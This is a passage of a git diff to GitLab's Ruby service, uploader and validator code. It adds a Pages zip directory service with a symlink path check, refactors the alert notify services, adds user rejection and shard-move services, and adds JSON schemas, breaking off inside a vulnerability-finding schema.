diff --git a/app/services/pages/zip_directory_service.rb b/app/services/pages/zip_directory_service.rb
new file mode 100644
index 00000000000..a27ad5fda46
--- /dev/null
+++ b/app/services/pages/zip_directory_service.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module Pages
+ class ZipDirectoryService
+ InvalidArchiveError = Class.new(RuntimeError)
+ InvalidEntryError = Class.new(RuntimeError)
+
+ PUBLIC_DIR = 'public'
+
+ def initialize(input_dir)
+ @input_dir = File.realpath(input_dir)
+ @output_file = File.join(@input_dir, "@migrated.zip") # '@' to avoid any name collision with groups or projects
+ end
+
+ def execute
+ FileUtils.rm_f(@output_file)
+
+ count = 0
+ ::Zip::File.open(@output_file, ::Zip::File::CREATE) do |zipfile|
+ write_entry(zipfile, PUBLIC_DIR)
+ count = zipfile.entries.count
+ end
+
+ [@output_file, count]
+ end
+
+ private
+
+ def write_entry(zipfile, zipfile_path)
+ disk_file_path = File.join(@input_dir, zipfile_path)
+
+ unless valid_path?(disk_file_path)
+ # archive without public directory is completelly unusable
+ raise InvalidArchiveError if zipfile_path == PUBLIC_DIR
+
+ # archive with invalid entry will just have this entry missing
+ raise InvalidEntryError
+ end
+
+ case File.lstat(disk_file_path).ftype
+ when 'directory'
+ recursively_zip_directory(zipfile, disk_file_path, zipfile_path)
+ when 'file', 'link'
+ zipfile.add(zipfile_path, disk_file_path)
+ else
+ raise InvalidEntryError
+ end
+ rescue InvalidEntryError => e
+ Gitlab::ErrorTracking.track_exception(e, input_dir: @input_dir, disk_file_path: disk_file_path)
+ end
+
+ def recursively_zip_directory(zipfile, disk_file_path, zipfile_path)
+ zipfile.mkdir(zipfile_path)
+
+ entries = Dir.entries(disk_file_path) - %w[. ..]
+ entries = entries.map { |entry| File.join(zipfile_path, entry) }
+
+ write_entries(zipfile, entries)
+ end
+
+ def write_entries(zipfile, entries)
+ entries.each do |zipfile_path|
+ write_entry(zipfile, zipfile_path)
+ end
+ end
+
+ # that should never happen, but we want to be safer
+ # in theory without this we would allow to use symlinks
+ # to pack any directory on disk
+ # it isn't possible because SafeZip doesn't extract such archives
+ def valid_path?(disk_file_path)
+ realpath = File.realpath(disk_file_path)
+
+ realpath == File.join(@input_dir, PUBLIC_DIR) ||
+ realpath.start_with?(File.join(@input_dir, PUBLIC_DIR + "/"))
+ # happens if target of symlink isn't there
+ rescue => e
+ Gitlab::ErrorTracking.track_exception(e, input_dir: @input_dir, disk_file_path: disk_file_path)
+
+ false
+ end
+ end
+end
diff --git a/app/services/post_receive_service.rb b/app/services/post_receive_service.rb
index 79b613f6a88..bd9588844ad 100644
--- a/app/services/post_receive_service.rb
+++ b/app/services/post_receive_service.rb
@@ -40,6 +40,8 @@ class PostReceiveService
response.add_basic_message(redirect_message)
response.add_basic_message(project_created_message)
+
+ record_onboarding_progress
end
response
@@ -90,6 +92,10 @@ class PostReceiveService
banner&.message
end
+
+ def record_onboarding_progress
+ NamespaceOnboardingAction.create_action(project.namespace, :git_write)
+ end
end
PostReceiveService.prepend_if_ee('EE::PostReceiveService')
diff --git a/app/services/projects/alerting/notify_service.rb b/app/services/projects/alerting/notify_service.rb
index ab8f53a3757..014fb0e3ed3 100644
--- a/app/services/projects/alerting/notify_service.rb
+++ b/app/services/projects/alerting/notify_service.rb
@@ -2,10 +2,16 @@
module Projects
module Alerting
- class NotifyService < BaseService
+ class NotifyService
+ include BaseServiceUtility
include Gitlab::Utils::StrongMemoize
include ::IncidentManagement::Settings
+ def initialize(project, payload)
+ @project = project
+ @payload = payload
+ end
+
def execute(token, integration = nil)
@integration = integration
@@ -24,7 +30,7 @@ module Projects
private
- attr_reader :integration
+ attr_reader :project, :payload, :integration
def process_alert
if alert.persisted?
@@ -101,7 +107,7 @@ module Projects
def incoming_payload
strong_memoize(:incoming_payload) do
- Gitlab::AlertManagement::Payload.parse(project, params.to_h)
+ Gitlab::AlertManagement::Payload.parse(project, payload.to_h)
end
end
@@ -110,7 +116,7 @@ module Projects
end
def valid_payload_size?
- Gitlab::Utils::DeepSize.new(params).valid?
+ Gitlab::Utils::DeepSize.new(payload).valid?
end
def active_integration?
diff --git a/app/services/projects/container_repository/delete_tags_service.rb b/app/services/projects/container_repository/delete_tags_service.rb
index 505ddaf50e3..410cf6c624e 100644
--- a/app/services/projects/container_repository/delete_tags_service.rb
+++ b/app/services/projects/container_repository/delete_tags_service.rb
@@ -36,6 +36,7 @@ module Projects
def log_response(response)
log_data = LOG_DATA_BASE.merge(
container_repository_id: @container_repository.id,
+ project_id: @container_repository.project_id,
message: 'deleted tags',
deleted_tags_count: response[:deleted]&.size
).compact
diff --git a/app/services/projects/participants_service.rb b/app/services/projects/participants_service.rb
index 1cd81fe37c7..228115d72b8 100644
--- a/app/services/projects/participants_service.rb
+++ b/app/services/projects/participants_service.rb
@@ -14,7 +14,7 @@ module Projects
groups +
project_members
- participants.uniq
+ render_participants_as_hash(participants.uniq)
end
def project_members
diff --git a/app/services/projects/prometheus/alerts/notify_service.rb b/app/services/projects/prometheus/alerts/notify_service.rb
index 8ad4f59373d..93165a58470 100644
--- a/app/services/projects/prometheus/alerts/notify_service.rb
+++ b/app/services/projects/prometheus/alerts/notify_service.rb
@@ -3,7 +3,7 @@
module Projects
module Prometheus
module Alerts
- class NotifyService < BaseService
+ class NotifyService
include Gitlab::Utils::StrongMemoize
include ::IncidentManagement::Settings
@@ -17,28 +17,35 @@ module Projects
SUPPORTED_VERSION = '4'
- def execute(token, _integration = nil)
+ def initialize(project, payload)
+ @project = project
+ @payload = payload
+ end
+
+ def execute(token, integration = nil)
return bad_request unless valid_payload_size?
- return unprocessable_entity unless self.class.processable?(params)
- return unauthorized unless valid_alert_manager_token?(token)
+ return unprocessable_entity unless self.class.processable?(payload)
+ return unauthorized unless valid_alert_manager_token?(token, integration)
process_prometheus_alerts
ServiceResponse.success
end
- def self.processable?(params)
+ def self.processable?(payload)
# Workaround for https://gitlab.com/gitlab-org/gitlab/-/issues/220496
- return false unless params
+ return false unless payload
- REQUIRED_PAYLOAD_KEYS.subset?(params.keys.to_set) &&
- params['version'] == SUPPORTED_VERSION
+ REQUIRED_PAYLOAD_KEYS.subset?(payload.keys.to_set) &&
+ payload['version'] == SUPPORTED_VERSION
end
private
+ attr_reader :project, :payload
+
def valid_payload_size?
- Gitlab::Utils::DeepSize.new(params).valid?
+ Gitlab::Utils::DeepSize.new(payload).valid?
end
def firings
@@ -50,12 +57,12 @@ module Projects
end
def alerts
- params['alerts']
+ payload['alerts']
end
- def valid_alert_manager_token?(token)
+ def valid_alert_manager_token?(token, integration)
valid_for_manual?(token) ||
- valid_for_alerts_endpoint?(token) ||
+ valid_for_alerts_endpoint?(token, integration) ||
valid_for_managed?(token)
end
@@ -70,11 +77,10 @@ module Projects
end
end
- def valid_for_alerts_endpoint?(token)
- return false unless project.alerts_service_activated?
+ def valid_for_alerts_endpoint?(token, integration)
+ return false unless integration&.active?
- # Here we are enforcing the existence of the token
- compare_token(token, project.alerts_service.token)
+ compare_token(token, integration.token)
end
def valid_for_managed?(token)
@@ -122,7 +128,7 @@ module Projects
def process_prometheus_alerts
alerts.each do |alert|
AlertManagement::ProcessPrometheusAlertService
- .new(project, nil, alert.to_h)
+ .new(project, alert.to_h)
.execute
end
end
diff --git a/app/services/projects/schedule_bulk_repository_shard_moves_service.rb b/app/services/projects/schedule_bulk_repository_shard_moves_service.rb
new file mode 100644
index 00000000000..dd49910207f
--- /dev/null
+++ b/app/services/projects/schedule_bulk_repository_shard_moves_service.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Projects
+ # Tries to schedule a move for every project with repositories on the source shard
+ class ScheduleBulkRepositoryShardMovesService
+ include BaseServiceUtility
+
+ def execute(source_storage_name, destination_storage_name = nil)
+ shard = Shard.find_by_name!(source_storage_name)
+
+ ProjectRepository.for_shard(shard).each_batch(column: :project_id) do |relation|
+ Project.id_in(relation.select(:project_id)).each do |project|
+ project.with_lock do
+ next if project.repository_storage != source_storage_name
+
+ storage_move = project.repository_storage_moves.build(
+ source_storage_name: source_storage_name,
+ destination_storage_name: destination_storage_name
+ )
+
+ unless storage_move.schedule
+ log_info("Project #{project.full_path} (#{project.id}) was skipped: #{storage_move.errors.full_messages.to_sentence}")
+ end
+ end
+ end
+ end
+
+ success
+ end
+
+ def self.enqueue(source_storage_name, destination_storage_name = nil)
+ ::ProjectScheduleBulkRepositoryShardMovesWorker.perform_async(source_storage_name, destination_storage_name)
+ end
+ end
+end
diff --git a/app/services/projects/transfer_service.rb b/app/services/projects/transfer_service.rb
index 5178c76f0fc..1574c90d2ac 100644
--- a/app/services/projects/transfer_service.rb
+++ b/app/services/projects/transfer_service.rb
@@ -59,7 +59,7 @@ module Projects
raise TransferError.new(s_("TransferProject|Root namespace can't be updated if project has NPM packages"))
end
- attempt_transfer_transaction
+ proceed_to_transfer
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -67,7 +67,7 @@ module Projects
new_namespace.root_ancestor == project.namespace.root_ancestor
end
- def attempt_transfer_transaction
+ def proceed_to_transfer
Project.transaction do
project.expire_caches_before_rename(@old_path)
@@ -87,6 +87,8 @@ module Projects
# Move uploads
move_project_uploads(project)
+ update_integrations
+
project.old_path_with_namespace = @old_path
update_repository_configuration(@new_path)
@@ -214,6 +216,11 @@ module Projects
project.shared_runners_enabled = false
end
end
+
+ def update_integrations
+ project.services.inherit.delete_all
+ Service.create_from_active_default_integrations(project, :project_id)
+ end
end
end
diff --git a/app/services/projects/update_pages_service.rb b/app/services/projects/update_pages_service.rb
index b9c579a130f..53872c67f49 100644
--- a/app/services/projects/update_pages_service.rb
+++ b/app/services/projects/update_pages_service.rb
@@ -4,6 +4,9 @@ module Projects
class UpdatePagesService < BaseService
InvalidStateError = Class.new(StandardError)
FailedToExtractError = Class.new(StandardError)
+ ExclusiveLeaseTaken = Class.new(StandardError)
+
+ include ::Pages::LegacyStorageLease
BLOCK_SIZE = 32.kilobytes
PUBLIC_DIR = 'public'
@@ -109,6 +112,17 @@ module Projects
end
def deploy_page!(archive_public_path)
+ deployed = try_obtain_lease do
+ deploy_page_unsafe!(archive_public_path)
+ true
+ end
+
+ unless deployed
+ raise ExclusiveLeaseTaken, "Failed to deploy pages - other deployment is in progress"
+ end
+ end
+
+ def deploy_page_unsafe!(archive_public_path)
# Do atomic move of pages
# Move and removal may not be atomic, but they are significantly faster then extracting and removal
# 1. We move deployed public to previous public path (file removal is slow)
@@ -125,8 +139,6 @@ module Projects
end
def create_pages_deployment(artifacts_path, build)
- return unless Feature.enabled?(:zip_pages_deployments, project, default_enabled: true)
-
# we're using the full archive and pages daemon needs to read it
# so we want the total count from entries, not only "public/" directory
# because it better approximates work we need to do before we can serve the site
diff --git a/app/services/releases/base_service.rb b/app/services/releases/base_service.rb
index 38ef80ced56..d0e1577bd8d 100644
--- a/app/services/releases/base_service.rb
+++ b/app/services/releases/base_service.rb
@@ -11,8 +11,6 @@ module Releases
@project, @current_user, @params = project, user, params.dup
end
- delegate :repository, to: :project
-
def tag_name
params[:tag]
end
@@ -39,22 +37,18 @@ module Releases
end
end
- def existing_tag
- strong_memoize(:existing_tag) do
- repository.find_tag(tag_name)
- end
- end
-
- def tag_exist?
- existing_tag.present?
- end
-
def repository
strong_memoize(:repository) do
project.repository
end
end
+ def existing_tag
+ strong_memoize(:existing_tag) do
+ repository.find_tag(tag_name)
+ end
+ end
+
def milestones
return [] unless param_for_milestone_titles_provided?
@@ -78,7 +72,7 @@ module Releases
end
def param_for_milestone_titles_provided?
- params.key?(:milestones)
+ !!params[:milestones]
end
def execute_hooks(release, action = 'create')
diff --git a/app/services/releases/create_service.rb b/app/services/releases/create_service.rb
index deefe559d5d..11fdbaf3169 100644
--- a/app/services/releases/create_service.rb
+++ b/app/services/releases/create_service.rb
@@ -10,7 +10,7 @@ module Releases
# should be found before the creation of new tag
# because tag creation can spawn new pipeline
# which won't have any data for evidence yet
- evidence_pipeline = find_evidence_pipeline
+ evidence_pipeline = Releases::EvidencePipelineFinder.new(project, params).execute
tag = ensure_tag
@@ -78,26 +78,10 @@ module Releases
)
end
- def find_evidence_pipeline
- # TODO: remove this with the release creation moved to it's own form https://gitlab.com/gitlab-org/gitlab/-/issues/214245
- return params[:evidence_pipeline] if params[:evidence_pipeline]
-
- sha = existing_tag&.dereferenced_target&.sha
- sha ||= repository.commit(ref)&.sha
-
- return unless sha
-
- project.ci_pipelines.for_sha(sha).last
- end
-
def create_evidence!(release, pipeline)
- return if release.historical_release?
+ return if release.historical_release? || release.upcoming_release?
- if release.upcoming_release?
- CreateEvidenceWorker.perform_at(release.released_at, release.id, pipeline&.id)
- else
- CreateEvidenceWorker.perform_async(release.id, pipeline&.id)
- end
+ ::Releases::CreateEvidenceWorker.perform_async(release.id, pipeline&.id)
end
end
end
diff --git a/app/services/resource_events/change_labels_service.rb b/app/services/resource_events/change_labels_service.rb
index dc23f727079..ddf3b05ac10 100644
--- a/app/services/resource_events/change_labels_service.rb
+++ b/app/services/resource_events/change_labels_service.rb
@@ -24,6 +24,8 @@ module ResourceEvents
Gitlab::Database.bulk_insert(ResourceLabelEvent.table_name, labels) # rubocop:disable Gitlab/BulkInsert
resource.expire_note_etag_cache
+
+ Gitlab::UsageDataCounters::IssueActivityUniqueCounter.track_issue_label_changed_action(author: user) if resource.is_a?(Issue)
end
private
diff --git a/app/services/service_desk_settings/update_service.rb b/app/services/service_desk_settings/update_service.rb
index c837b75f439..32d1c5c1c87 100644
--- a/app/services/service_desk_settings/update_service.rb
+++ b/app/services/service_desk_settings/update_service.rb
@@ -5,7 +5,7 @@ module ServiceDeskSettings
def execute
settings = ServiceDeskSetting.safe_find_or_create_by!(project_id: project.id)
- unless ::Feature.enabled?(:service_desk_custom_address, project)
+ unless ::Feature.enabled?(:service_desk_custom_address, project, default_enabled: true)
params.delete(:project_key)
end
diff --git a/app/services/submit_usage_ping_service.rb b/app/services/submit_usage_ping_service.rb
index 2fbeaf4405c..8ab1193b04f 100644
--- a/app/services/submit_usage_ping_service.rb
+++ b/app/services/submit_usage_ping_service.rb
@@ -43,8 +43,6 @@ class SubmitUsagePingService
private
def save_raw_usage_data(usage_data)
- return unless Feature.enabled?(:save_raw_usage_data)
-
RawUsageData.safe_find_or_create_by(recorded_at: usage_data[:recorded_at]) do |record|
record.payload = usage_data
end
diff --git a/app/services/system_hooks_service.rb b/app/services/system_hooks_service.rb
index 0d369c23b57..881a139437a 100644
--- a/app/services/system_hooks_service.rb
+++ b/app/services/system_hooks_service.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class SystemHooksService
+ BUILDER_DRIVEN_EVENT_DATA_AVAILABLE_FOR_CLASSES = [GroupMember].freeze
+
def execute_hooks_for(model, event)
data = build_event_data(model, event)
@@ -20,6 +22,9 @@ class SystemHooksService
private
def build_event_data(model, event)
+ # return entire event data from its builder class, if available.
+ return builder_driven_event_data(model, event) if builder_driven_event_data_available?(model)
+
data = {
event_name: build_event_name(model, event),
created_at: model.created_at&.xmlschema,
@@ -62,8 +67,6 @@ class SystemHooksService
old_full_path: model.full_path_before_last_save
)
end
- when GroupMember
- data.merge!(group_member_data(model))
end
data
@@ -75,10 +78,6 @@ class SystemHooksService
return "user_add_to_team" if event == :create
return "user_remove_from_team" if event == :destroy
return "user_update_for_team" if event == :update
- when GroupMember
- return 'user_add_to_group' if event == :create
- return 'user_remove_from_group' if event == :destroy
- return 'user_update_for_group' if event == :update
else
"#{model.class.name.downcase}_#{event}"
end
@@ -128,19 +127,6 @@ class SystemHooksService
}
end
- def group_member_data(model)
- {
- group_name: model.group.name,
- group_path: model.group.path,
- group_id: model.group.id,
- user_username: model.user.username,
- user_name: model.user.name,
- user_email: model.user.email,
- user_id: model.user.id,
- group_access: model.human_access
- }
- end
-
def user_data(model)
{
name: model.name,
@@ -149,6 +135,17 @@ class SystemHooksService
username: model.username
}
end
+
+ def builder_driven_event_data_available?(model)
+ model.class.in?(BUILDER_DRIVEN_EVENT_DATA_AVAILABLE_FOR_CLASSES)
+ end
+
+ def builder_driven_event_data(model, event)
+ case model
+ when GroupMember
+ Gitlab::HookData::GroupMemberBuilder.new(model).build(event)
+ end
+ end
end
SystemHooksService.prepend_if_ee('EE::SystemHooksService')
diff --git a/app/services/system_note_service.rb b/app/services/system_note_service.rb
index eacc88f98a3..58f72e9badc 100644
--- a/app/services/system_note_service.rb
+++ b/app/services/system_note_service.rb
@@ -226,6 +226,10 @@ module SystemNoteService
::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).noteable_moved(noteable_ref, direction)
end
+ def noteable_cloned(noteable, project, noteable_ref, author, direction:)
+ ::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).noteable_cloned(noteable_ref, direction)
+ end
+
def mark_duplicate_issue(noteable, project, author, canonical_issue)
::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).mark_duplicate_issue(canonical_issue)
end
diff --git a/app/services/system_notes/issuables_service.rb b/app/services/system_notes/issuables_service.rb
index 7a73af0a81a..b344b240a07 100644
--- a/app/services/system_notes/issuables_service.rb
+++ b/app/services/system_notes/issuables_service.rb
@@ -242,6 +242,29 @@ module SystemNotes
create_note(NoteSummary.new(noteable, project, author, body, action: 'moved'))
end
+ # Called when noteable has been cloned
+ #
+ # noteable_ref - Referenced noteable
+ # direction - symbol, :to or :from
+ #
+ # Example Note text:
+ #
+ # "cloned to some_namespace/project_new#11"
+ #
+ # Returns the created Note object
+ def noteable_cloned(noteable_ref, direction)
+ unless [:to, :from].include?(direction)
+ raise ArgumentError, "Invalid direction `#{direction}`"
+ end
+
+ cross_reference = noteable_ref.to_reference(project)
+ body = "cloned #{direction} #{cross_reference}"
+
+ issue_activity_counter.track_issue_cloned_action(author: author) if noteable.is_a?(Issue) && direction == :to
+
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'cloned'))
+ end
+
# Called when the confidentiality changes
#
# Example Note text:
diff --git a/app/services/upload_service.rb b/app/services/upload_service.rb
index 403944557a2..ba6ead41836 100644
--- a/app/services/upload_service.rb
+++ b/app/services/upload_service.rb
@@ -6,16 +6,18 @@ class UploadService
end
def execute
- return unless @file && @file.size <= max_attachment_size
+ return unless file && file.size <= max_attachment_size
- uploader = @uploader_class.new(@model, nil, @uploader_context)
- uploader.store!(@file)
+ uploader = uploader_class.new(model, nil, **uploader_context)
+ uploader.store!(file)
uploader
end
private
+ attr_reader :model, :file, :uploader_class, :uploader_context
+
def max_attachment_size
Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i
end
diff --git a/app/services/users/approve_service.rb b/app/services/users/approve_service.rb
index 27668e9430e..debd1e8cd17 100644
--- a/app/services/users/approve_service.rb
+++ b/app/services/users/approve_service.rb
@@ -7,8 +7,9 @@ module Users
end
def execute(user)
- return error(_('You are not allowed to approve a user')) unless allowed?
- return error(_('The user you are trying to approve is not pending an approval')) unless approval_required?(user)
+ return error(_('You are not allowed to approve a user'), :forbidden) unless allowed?
+ return error(_('The user you are trying to approve is not pending an approval'), :conflict) if user.active?
+ return error(_('The user you are trying to approve is not pending an approval'), :conflict) unless approval_required?(user)
if user.activate
# Resends confirmation email if the user isn't confirmed yet.
@@ -18,9 +19,9 @@ module Users
DeviseMailer.user_admin_approval(user).deliver_later
after_approve_hook(user)
- success
+ success(message: 'Success', http_status: :created)
else
- error(user.errors.full_messages.uniq.join('. '))
+ error(user.errors.full_messages.uniq.join('. '), :unprocessable_entity)
end
end
diff --git a/app/services/users/reject_service.rb b/app/services/users/reject_service.rb
new file mode 100644
index 00000000000..dd72547c688
--- /dev/null
+++ b/app/services/users/reject_service.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Users
+ class RejectService < BaseService
+ def initialize(current_user)
+ @current_user = current_user
+ end
+
+ def execute(user)
+ return error(_('You are not allowed to reject a user')) unless allowed?
+ return error(_('This user does not have a pending request')) unless user.blocked_pending_approval?
+
+ user.delete_async(deleted_by: current_user, params: { hard_delete: true })
+
+ NotificationService.new.user_admin_rejection(user.name, user.email)
+
+ success
+ end
+
+ private
+
+ attr_reader :current_user
+
+ def allowed?
+ can?(current_user, :reject_user)
+ end
+ end
+end
diff --git a/app/services/users/set_status_service.rb b/app/services/users/set_status_service.rb
index 356c8782af1..a907937070f 100644
--- a/app/services/users/set_status_service.rb
+++ b/app/services/users/set_status_service.rb
@@ -14,10 +14,10 @@ module Users
def execute
return false unless can?(current_user, :update_user_status, target_user)
- if params[:emoji].present? || params[:message].present? || params[:availability].present?
- set_status
- else
+ if status_cleared?
remove_status
+ else
+ set_status
end
end
@@ -25,8 +25,7 @@ module Users
def set_status
params[:emoji] = UserStatus::DEFAULT_EMOJI if params[:emoji].blank?
- params.delete(:availability) if params[:availability].blank?
- return false if params[:availability].present? && UserStatus.availabilities.keys.exclude?(params[:availability])
+ params[:availability] = UserStatus.availabilities[:not_set] unless new_user_availability
user_status.update(params)
end
@@ -38,5 +37,15 @@ module Users
def user_status
target_user.status || target_user.build_status
end
+
+ def status_cleared?
+ params[:emoji].blank? &&
+ params[:message].blank? &&
+ (new_user_availability.blank? || new_user_availability == UserStatus.availabilities[:not_set])
+ end
+
+ def new_user_availability
+ UserStatus.availabilities[params[:availability]]
+ end
end
end
diff --git a/app/services/users/validate_otp_service.rb b/app/services/users/validate_otp_service.rb
index a9ce7959aea..c8a9f217d22 100644
--- a/app/services/users/validate_otp_service.rb
+++ b/app/services/users/validate_otp_service.rb
@@ -2,10 +2,14 @@
module Users
class ValidateOtpService < BaseService
+ include ::Gitlab::Auth::Otp::Fortinet
+
def initialize(current_user)
@current_user = current_user
- @strategy = if Feature.enabled?(:forti_authenticator, current_user)
+ @strategy = if forti_authenticator_enabled?(current_user)
::Gitlab::Auth::Otp::Strategies::FortiAuthenticator.new(current_user)
+ elsif forti_token_cloud_enabled?(current_user)
+ ::Gitlab::Auth::Otp::Strategies::FortiTokenCloud.new(current_user)
else
::Gitlab::Auth::Otp::Strategies::Devise.new(current_user)
end
diff --git a/app/uploaders/terraform/state_uploader.rb b/app/uploaders/terraform/state_uploader.rb
index 2306313fc82..d80725cb051 100644
--- a/app/uploaders/terraform/state_uploader.rb
+++ b/app/uploaders/terraform/state_uploader.rb
@@ -6,17 +6,33 @@ module Terraform
storage_options Gitlab.config.terraform_state
- delegate :project_id, to: :model
+ delegate :terraform_state, :project_id, to: :model
# Use Lockbox to encrypt/decrypt the stored file (registers CarrierWave callbacks)
encrypt(key: :key)
def filename
- "#{model.uuid}.tfstate"
+ # This check is required to maintain backwards compatibility with
+ # states that were created prior to versioning being supported.
+ # This can be removed in 14.0 when support for these states is dropped.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/258960
+ if terraform_state.versioning_enabled?
+ "#{model.version}.tfstate"
+ else
+ "#{model.uuid}.tfstate"
+ end
end
def store_dir
- project_id.to_s
+ # This check is required to maintain backwards compatibility with
+ # states that were created prior to versioning being supported.
+ # This can be removed in 14.0 when support for these states is dropped.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/258960
+ if terraform_state.versioning_enabled?
+ Gitlab::HashedPath.new(model.uuid, root_hash: project_id)
+ else
+ project_id.to_s
+ end
end
def key
diff --git a/app/uploaders/terraform/versioned_state_uploader.rb b/app/uploaders/terraform/versioned_state_uploader.rb
deleted file mode 100644
index e50ab6c7dc6..00000000000
--- a/app/uploaders/terraform/versioned_state_uploader.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module Terraform
- class VersionedStateUploader < StateUploader
- delegate :terraform_state, to: :model
-
- def filename
- if terraform_state.versioning_enabled?
- "#{model.version}.tfstate"
- else
- "#{model.uuid}.tfstate"
- end
- end
-
- def store_dir
- if terraform_state.versioning_enabled?
- Gitlab::HashedPath.new(model.uuid, root_hash: project_id)
- else
- project_id.to_s
- end
- end
- end
-end
diff --git a/app/validators/json_schema_validator.rb b/app/validators/json_schema_validator.rb
index f8c1727035c..fee4a00cec5 100644
--- a/app/validators/json_schema_validator.rb
+++ b/app/validators/json_schema_validator.rb
@@ -12,6 +12,7 @@
class JsonSchemaValidator < ActiveModel::EachValidator
FILENAME_ALLOWED = /\A[a-z0-9_-]*\Z/.freeze
FilenameError = Class.new(StandardError)
+ JSON_VALIDATOR_MAX_DRAFT_VERSION = 4
def initialize(options)
raise ArgumentError, "Expected 'filename' as an argument" unless options[:filename]
@@ -29,10 +30,18 @@ class JsonSchemaValidator < ActiveModel::EachValidator
private
def valid_schema?(value)
- JSON::Validator.validate(schema_path, value)
+ if draft_version > JSON_VALIDATOR_MAX_DRAFT_VERSION
+ JSONSchemer.schema(Pathname.new(schema_path)).valid?(value)
+ else
+ JSON::Validator.validate(schema_path, value)
+ end
end
def schema_path
Rails.root.join('app', 'validators', 'json_schemas', "#{options[:filename]}.json").to_s
end
+
+ def draft_version
+ options[:draft] || JSON_VALIDATOR_MAX_DRAFT_VERSION
+ end
end
diff --git a/app/validators/json_schemas/codeclimate.json b/app/validators/json_schemas/codeclimate.json
new file mode 100644
index 00000000000..56056c62c4e
--- /dev/null
+++ b/app/validators/json_schemas/codeclimate.json
@@ -0,0 +1,34 @@
+{
+ "description": "Codequality used by codeclimate parser",
+ "type": "object",
+ "required": ["description", "fingerprint", "severity", "location"],
+ "properties": {
+ "description": { "type": "string" },
+ "fingerprint": { "type": "string" },
+ "severity": { "type": "string" },
+ "location": {
+ "type": "object",
+ "properties": {
+ "path": { "type": "string" },
+ "lines": {
+ "type": "object",
+ "properties": {
+ "begin": { "type": "integer" }
+ }
+ },
+ "positions": {
+ "type": "object",
+ "properties": {
+ "begin": {
+ "type": "object",
+ "properties": {
+ "line": { "type": "integer" }
+ }
+ }
+ }
+ }
+ }
+ }
+ },
+ "additionalProperties": true
+}
diff --git a/app/validators/json_schemas/http_integration_payload_attribute_mapping.json b/app/validators/json_schemas/http_integration_payload_attribute_mapping.json
new file mode 100644
index 00000000000..e457b8a292b
--- /dev/null
+++ b/app/validators/json_schemas/http_integration_payload_attribute_mapping.json
@@ -0,0 +1,14 @@
+{
+ "type": "object",
+ "patternProperties": {
+ ".*": {
+ "type": "object",
+ "required": ["path", "type"],
+ "properties": {
+ "path": { "type": "array" },
+ "type": { "type": "string" }
+ },
+ "additionalProperties": false
+ }
+ }
+}
diff --git a/app/validators/json_schemas/vulnerability_finding_details.json b/app/validators/json_schemas/vulnerability_finding_details.json
new file mode 100644
index 00000000000..f2940866f4b
--- /dev/null
+++ b/app/validators/json_schemas/vulnerability_finding_details.json
@@ -0,0 +1,182 @@
+{
+ "type": "object",
+ "description": "The schema for vulnerability finding details",
+ "additionalProperties": false,
+ "patternProperties": {
+ "^.*$": {
+ "allOf": [
+ { "$ref": "#/definitions/named_field" },
+ { "$ref": "#/definitions/type_list" }
+ ]
+ }
+ },
+ "definitions": {
+ "type_list": {
+ "oneOf": [
+ { "$ref": "#/definitions/named_list" },
+ { "$ref": "#/definitions/list" },
+ { "$ref": "#/definitions/table" },
+
+ { "$ref": "#/definitions/text" },
+ { "$ref": "#/definitions/url" },
+ { "$ref": "#/definitions/code" },
+ { "$ref": "#/definitions/int" },
+
+ { "$ref": "#/definitions/commit" },
+ { "$ref": "#/definitions/file_location" },
+ { "$ref": "#/definitions/module_location" }
+ ]
+ },
+ "lang_text": {
+ "type": "object",
+ "required": [ "value", "lang" ],
+ "properties": {
+ "lang": { "type": "string" },
+ "value": { "type": "string" }
+ }
+ },
+ "lang_text_list": {
+ "type": "array",
+ "items": { "$ref": "#/definitions/lang_text" }
+ },
+ "named_field": {
+ "type": "object",
+ "required": [ "name" ],
+ "properties": {
+ "name": { "$ref": "#/definitions/lang_text_list" },
+ "description": { "$ref": "#/definitions/lang_text_list" }
+ }
+ },
+ "named_list": {
+ "type": "object",
+ "description": "An object with named and typed fields",
+ "required": [ "type", "items" ],
+ "properties": {
+ "type": { "const": "named-list" },
+ "items": {
+ "type": "object",
+ "patternProperties": {
+ "^.*$": {
+ "allOf": [
+ { "$ref": "#/definitions/named_field" },
+ { "$ref": "#/definitions/type_list" }
+ ]
+ }
+ }
+ }
+ }
+ },
+ "list": {
+ "type": "object",
+ "description": "A list of typed fields",
+ "required": [ "type", "items" ],
+ "properties": {
+ "type": { "const": "list" },
+ "items": {
+ "type": "array",
+ "items": { "$ref": "#/definitions/type_list" }
+ }
+ }
+ },
+ "table": {
+ "type": "object",
+ "description": "A table of typed fields",
+ "required": [],
+ "properties": {
+ "type": { "const": "table" },
+ "items": {
+ "type": "object",
+ "properties": {
+ "header": {
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/type_list"
+ }
+ },
+ "rows": {
+ "type": "array",
+ "items": {
+ "type": "array",
+ "items": {
+ "$ref": "#/definitions/type_list"
+ }
+ }
+ }
+ }
+ }
+ }
+ },
+ "text": {
+ "type": "object",
+ "description": "Raw text",
+ "required": [ "type", "value" ],
+ "properties": {
+ "type": { "const": "text" },
+ "value": { "$ref": "#/definitions/lang_text_list" }
+ }
+ },
+ "url": {
+ "type": "object",
+ "description": "A single URL",
+ "required": [ "type", "href" ],
+ "properties": {
+ "type": { "const": "url" },
+ "text": { "$ref": "#/definitions/lang_text_list" },
+ "href": { "type": "string" }
+ }
+ },
+ "code": {
+ "type": "object",
+ "description": "A codeblock",
+ "required": [ "type", "value" ],
+ "properties": {
+ "type": { "const": "code" },
+ "value": { "type": "string" },
+ "lang": { "type": "string" }
+ }
+ },
+ "int": {
+ "type": "object",
+ "description": "An integer",
+ "required": [ "type", "value" ],
+ "properties": {
+ "type": { "const": "int" },
+ "value": { "type": "integer" },
+ "format": {
+ "type": "string",
+ "enum": [ "default", "hex" ]
+ }
+ }
+ },
+ "commit": {
+ "type": "object",
